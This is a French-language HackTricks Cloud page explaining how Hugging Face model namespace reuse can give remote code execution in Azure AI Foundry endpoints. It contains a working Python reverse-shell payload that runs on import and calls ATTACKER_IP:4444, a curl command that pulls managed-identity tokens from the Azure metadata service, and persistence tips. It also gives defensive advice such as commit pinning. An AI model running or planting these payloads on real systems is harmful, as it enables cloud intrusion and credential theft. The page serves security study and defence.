Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Scénario
- Azure AI Foundry Model Catalog inclut de nombreux modÚles Hugging Face (HF) pour un déploiement en un clic.
- Les identifiants de modĂšle HF sont Author/ModelName. Si un author/org HF est supprimĂ©, nâimporte qui peut se rĂ©enregistrer sous ce nom dâauteur et publier un modĂšle avec le mĂȘme ModelName au legacy path.
- Les pipelines et catalogs qui rĂ©cupĂšrent uniquement par nom (sans commit pinning/integrity) rĂ©soudront vers des repos contrĂŽlĂ©s par lâattaquant. Quand Azure dĂ©ploie le modĂšle, le code du loader peut sâexĂ©cuter dans lâenvironnement de lâendpoint, offrant une RCE avec les permissions de cet endpoint.
Cas courants de takeover HF :
- Ownership deletion : ancien chemin 404 jusquâau takeover.
- Ownership transfer : ancien chemin 307 vers le nouvel author tant que lâancien author existe. Si lâancien author est ensuite supprimĂ© et rĂ©enregistrĂ©, le redirect casse et le repo de lâattaquant sert au legacy path.
Identifier des namespaces réutilisables (HF)
# Check author/org existence
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
# Check model path
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 -> redirect (transfer case), 404 -> deleted until takeover
Flux dâattaque de bout en bout contre Azure AI Foundry
- Dans le Model Catalog, trouvez des HF models dont les auteurs originaux ont été supprimés ou transférés (ancien auteur retiré) sur HF.
- RĂ©enregistrez lâauteur abandonnĂ© sur HF et recrĂ©ez le ModelName.
- Publiez un repo malveillant contenant du loader code qui sâexĂ©cute Ă lâimport ou nĂ©cessite trust_remote_code=True.
- DĂ©ployez le legacy Author/ModelName depuis Azure AI Foundry. La plateforme rĂ©cupĂšre le repo de lâattaquant ; le loader sâexĂ©cute Ă lâintĂ©rieur du container/VM de lâendpoint Azure, entraĂźnant une RCE avec les permissions de lâendpoint.
Exemple de fragment de payload exĂ©cutĂ© Ă lâimport (pour dĂ©monstration seulement) :
# __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images
if os.environ.get("AZUREML_ENDPOINT","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
Remarques
- Les dĂ©ploiements AI Foundry qui intĂšgrent HF clonent et importent typiquement des modules de repo rĂ©fĂ©rencĂ©s par la config du modĂšle (par ex., auto_map), ce qui peut dĂ©clencher lâexĂ©cution de code. Certains chemins exigent trust_remote_code=True.
- LâaccĂšs correspond gĂ©nĂ©ralement aux permissions de managed identity/service principal de lâendpoint. ConsidĂ©rez-le comme un point dâappui dâaccĂšs initial pour lâaccĂšs aux donnĂ©es et les mouvements latĂ©raux au sein dâAzure.
Conseils post-exploitation (Azure Endpoint)
- ĂnumĂ©rez les variables dâenvironnement et les MSI endpoints pour rĂ©cupĂ©rer des tokens:
# Azure Instance Metadata Service (inside Azure compute)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
- Vérifier le stockage monté, les artefacts de modÚle et les services Azure accessibles avec le token acquis.
- Envisager la persistence en laissant des poisoned model artifacts si la plateforme re-pulls depuis HF.
Conseils dĂ©fensifs pour les utilisateurs dâAzure AI Foundry
- Ăpingler les modĂšles Ă un commit lors du chargement depuis HF:
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
- Répliquer les modÚles HF vérifiés dans un registre interne de confiance et déployer à partir de celui-ci.
- Scanner en continu les codebases et les defaults/docstrings/notebooks Ă la recherche dâAuthor/ModelName codĂ©s en dur qui ont Ă©tĂ© supprimĂ©s/transfĂ©rĂ©s ; les mettre Ă jour ou les pin.
- Valider lâexistence de lâauteur et la provenance du modĂšle avant le dĂ©ploiement.
Heuristiques de reconnaissance (HTTP)
- Auteur supprimĂ© : author page 404 ; legacy model path 404 jusquâau takeover.
- ModĂšle transfĂ©rĂ© : legacy path 307 vers un nouvel auteur tant que lâancien auteur existe ; si lâancien auteur est ensuite supprimĂ© et rĂ©enregistrĂ©, legacy path sert du contenu dâattaquant.
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
Références croisées
- Voir la mĂ©thodologie plus large et les notes sur la chaĂźne dâapprovisionnement :
Références
- Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)
- Hugging Face: Renaming or transferring a repo
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

